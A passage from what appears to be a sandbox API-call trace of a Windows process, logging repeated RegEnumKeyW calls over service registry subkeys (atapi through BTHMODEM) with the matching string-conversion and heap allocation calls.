lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0228.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.369] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0228.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0228.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1970, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0228.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.370] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0228.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0228.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.370] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0228.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0228.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.370] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0228.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0228.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.370] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0228.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0228.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.371] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0228.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0228.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.371] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0228.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0228.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.371] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0228.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0228.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.372] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0228.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0228.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.372] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0228.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0228.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.372] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0228.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0228.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.373] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0228.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0228.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.373] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0228.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0228.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.373] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0228.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0228.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.373] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0228.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0228.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.374] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0228.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0228.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.374] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0228.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0228.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.374] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0228.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0228.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.374] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0228.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0228.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.375] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0228.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0228.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.375] 